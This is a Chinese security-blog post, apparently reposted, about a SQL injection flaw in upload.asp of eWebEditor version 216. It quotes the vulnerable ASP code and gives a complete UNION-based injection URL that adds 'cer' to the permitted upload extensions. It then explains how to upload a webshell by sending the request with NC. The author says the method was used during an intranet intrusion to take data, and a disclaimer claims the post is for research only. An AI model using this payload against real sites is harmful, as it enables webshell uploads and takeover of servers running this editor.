来源:忧伤的小K
作者:X.Z.cool
目前网上流传太多ewebeidtor的修改版 lite版
216版的ewebeditor 存在一个注入漏洞 之后一个版也存在这样的问题
前段时间拉至尊宝渗透一内网时发现这个东西
无后台 无法登陆 默认数据库 但用处也不大
所以就深刻研究了下这个注入 发现可以通过union 来控制允许上传类型的列表
随后时间成功利用此漏洞拿了不少东西 分享下
漏洞文件是upload.asp
Sub InitUpload() sType = UCase(Trim(Request.QueryString("type"))) sStyleName = Trim(Request.QueryString("style")) sSql = "select * from ewebeditor_style where s_name='" & sStyleName & "'" oRs.Open sSql, oConn, 0, 1 If Not oRs.Eof Then sUploadDir = oRs("S_UploadDir") sUploadDir = Replace(sUploadDir, "/", "/") If Right(sUploadDir, 1) <> "/" Then sUploadDir = sUploadDir & "/" End If Select Case sType Case "FILE" sAllowExt = oRs("S_FileExt") nAllowSize = oRs("S_FileSize") Case "MEDIA" sAllowExt = oRs("S_MediaExt") nAllowSize = oRs("S_MediaSize") Case "FLASH" sAllowExt = oRs("S_FlashExt") nAllowSize = oRs("S_FlashSize") Case Else sAllowExt = oRs("S_ImageExt") nAllowSize = oRs("S_ImageSize") End Select Else OutScript("parent.UploadError('无效的样式ID号,请通过页面上的链接进行操作!')") End If oRs.Close ' 任何情况下都不允许上传asp脚本文件 sAllowExt = Replace(UCase(sAllowExt), "ASP", "") End Sub
sStyleName变量是直接从style中读取到没有经过任何过滤
我们要做的就是通过 union 增加一个 sAllowExt类型 构造
upload.asp?action=save&type=IMAGE&style=fox' union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]+'| cer',S_MediaExt,S_RemoteExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_RemoteSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl,S_UploadObject,S_AutoDir,S_BaseHref,S_ContentPath,S_AutoRemote,S_ShowBorder from ewebeditor_style where s_name='standard' and 'a'='a
union要之前的select结果为空(这个好办)
同时要知道字段数(下载到数据库查也能查到了)
我使用[S_ImageExt]+’|cer’使S_ImageExt中加入”|cer”串。
用NC发包就可以上传木马了。
针对没有后台 有默认数据库 或者猜解不到密码的时候 可以用此方法试下 默认库中会泄露ewebeditor的版本信息的.
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论